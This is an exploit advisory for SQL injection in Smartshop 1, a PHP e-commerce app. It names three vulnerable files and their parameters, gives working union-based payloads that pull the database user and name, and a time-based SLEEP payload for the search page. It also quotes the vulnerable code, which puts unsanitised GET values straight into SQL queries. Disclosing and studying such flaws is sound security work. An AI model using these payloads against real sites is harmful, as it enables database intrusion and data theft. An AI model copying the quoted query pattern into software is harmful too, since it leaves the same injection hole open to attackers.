# Exploit Title: Smartshop 1 – SQL Injection
# Date: 2018-06-02
# Exploit Author: L0RD or borna.nematzadeh123@gmail.com
# Software Link: https://github.com/smakosh/Smartshop/archive/master.zip
# Vendor Homepage: https://www.behance.net/gallery/49080415/Smartshop-Free-e-commerce-website
# Version: 1
# Tested on: Kali linux
=================================================
# Description :
Smartshop 1 suffers from sql injection which attacker can inject sql
commands .
=================================================
# POC : SQLi
# vulnerable files : [ category.php , product.php , search.php ]
1) category.php :
# Parameter : id
# Type : Union based
# Payload : ‘ UNION SELECT 1,user(),3,4,5%23
# Vulnerable code :
$id_category =$_GET[‘id’];
$start = ($page > 1) ? ($page * $perpage) – $perpage : 0;
$queryproduct = “SELECT SQL_CALC_FOUND_ROWS id, name, price, id_picture,
thumbnail FROM product WHERE id_category = ‘{$id_category}’ ORDER BY id
DESC LIMIT {$start}, 16”;
$result = $connection->query($queryproduct);
=================================================
2) product.php :
# Parameter : id
# Type : Union based
# Payload : ‘ UNION SELECT 1,user(),database(),4,5,6%23
# Vulnerable code :
$id_product =$_GET[‘id’];
$queryproduct = “SELECT id, name, price, description, id_picture, thumbnail
FROM product WHERE id = ‘{$id_product}'”;
$result1 = $connection->query($queryproduct);
=================================================
3) search.php :
# Parameter : searched
# Type : Time-based blind
# Payload : ‘ AND SLEEP(10)%23
# Vulnerable code :
$word = $_GET[‘searched’];
$queryproduct = “SELECT SQL_CALC_FOUND_ROWS id, name, price, id_picture,
thumbnail FROM product WHERE name LIKE ‘%{$word}%’ ORDER BY id DESC LIMIT
{$start}, 16”;
$result = $connection->query($queryproduct);
=================================================
